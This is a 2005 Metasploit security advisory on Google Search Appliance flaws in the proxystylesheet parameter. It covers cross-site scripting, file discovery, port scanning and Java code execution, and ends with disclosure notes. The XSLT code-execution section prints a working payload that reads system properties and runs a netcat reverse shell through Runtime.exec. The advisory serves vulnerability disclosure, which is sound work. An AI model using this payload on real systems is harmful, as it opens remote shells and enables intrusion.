This document can be found online at:
- http://metasploit.com/research/vulns/google_proxystylesheet/
Title:
Google Search Appliance proxystylesheet Flaws
Release Date:
November 21, 2005
Patch Date:
August 16, 2005
Reported Date:
June 10, 2005
Vendor:
Google
Systems Affected:
Google Mini Search Appliance (confirmed)
Google Search Appliance (possible)
Summary:
The Google Search Appliance allows customization of the search interface
through XSLT style sheets. Certain versions of the appliance allow a
remote URL to be supplied as the path to the XSLT style sheet. This
feature can be abused to perform cross-site scripting (XSS), file
discovery, service enumeration, and arbitrary command execution.
Vendor Status:
Google has released a patch and advisory (GA-2005-08-m, to clients only).
Exploit Availability:
A Metasploit Framework module has been developed for the XSLT Java Code
Execution flaw: google_proxystylesheet_exec.
No code is required to exploit the other flaws.
Researcher(s):
H D Moore (hdm[at]metasploit.com)
Vulnerability Details:
The Google Search Appliance search interface uses the 'proxystylesheet'
form variable to determine what style sheet to apply to the search
results. This variable can be a local file name or a HTTP URL.
Error Message XSS
A cross-site scripting flaw can be exploited by providing a snippet of
malicious Javascript code for the proxystylesheet variable. The appliance
will look for a local file by that name and then display an error message
containing the Javascript code.
File Existence Verification
It is possible to determine the existence of any file on the system by
using a relative path from the style sheet directory. The error message
returned from the server will disclose whether or not a valid path was
provided. This can be used to fingerprint the base operating system and
kernel version.
Service Discovery
A rudimentary port scan can be performed by requesting HTTP URLs that
point to a target system and individual ports on that system. The error
message returned from the server will differ between open and closed
ports. The appliance will ignore requests to connect back to itself, but
no other restrictions apply.
XSLT Style Sheet XSS
A cross-site scripting flaw can be exploited by creating a malicious XSLT
style sheet and specifying the URL to this style sheet in the
proxystylesheet parameter. The appliance will download the style sheet
and present the malicious Javascript to the user who executed the search.
XSLT Java Code Execution
It is possible to execute arbitrary Java class methods on the appliance by
creating a malicious XSLT style sheet. System commands can be executed as
an unprivileged user, which combined with the vulnerable kernel version,
can lead to a remote root shell. The appliance uses the Saxon XSLT
parser, which allows the following snippet to work:
<!-- Google Mini XSLT Code Execution [metasploit] -->
<xsl:template
name="my_page_footer"
xmlns:sys="http://www.oracle.com/XSL/Transform/java/java.lang.System"
xmlns:run="http://www.oracle.com/XSL/Transform/java/java.lang.Runtime"
>
XSLT Version: <xsl:value-of select="system-property('xsl:version')"/>
<br />
XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />
XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br />
OS: <xsl:value-of select="sys:getProperty('os.name')" />
<br />
Version: <xsl:value-of select="sys:getProperty('os.version')" />
<br />
Arch: <xsl:value-of select="sys:getProperty('os.arch')" />
<br />
UserName: <xsl:value-of select="sys:getProperty('user.name')" />
<br />
UserHome: <xsl:value-of select="sys:getProperty('user.home')" />
<br />
UserDir: <xsl:value-of select="sys:getProperty('user.dir')" />
<br />
Executing command...<br />
<xsl:value-of select="run:exec(run:getRuntime(), 'sh -c nc${IFS}
255.255.255.255${IFS}53|sh|nc${IFS}255.255.255.255${IFS}53')" />
</span>
</xsl:template>
Notes:
The Google security team responded immediately to our report and were
generally very helpful throughout the disclosure process. After a fix was
developed, they offered to send us a Mini to verify that all issues had
been addressed. Prior to shipping the appliance, they asked for an NDA
and a license agreement to be signed and sent back. The NDA and license
agreement both included clauses that restricted reverse engineering and
other facets of security research. The NDA prohibited the publication of
any information deemed confidential by Google without a prior written
agreement. For any use other than security research, these conditions
would not be an issue, however as they were written, any vulnerabilities
discovered after the documents were signed could be considered
confidential and restricted. We declined to sign the documents and Google
placed a demo unit online for verification instead.
Humor:
This was found on Google Answers by Jericho: "No. The Google Search
Appliance does not create security issues. All Google Search Appliance
services are behind an internal firewall, protecting it from security
intrusions. In addition, the Google Search Appliance has been thoroughly
tested to guard against security risks. " ;-)
References:
http://osvdb.org/20977
http://osvdb.org/20978
http://osvdb.org/20979
http://osvdb.org/20980
http://osvdb.org/20981
http://www.google.com/support/gsa/bin/answer.py?answer=15857
http://www.osvdb.org/blog/
This archive was generated by hypermail 2.1.3 : Mon Nov 21 2005 - 15:51:03 PST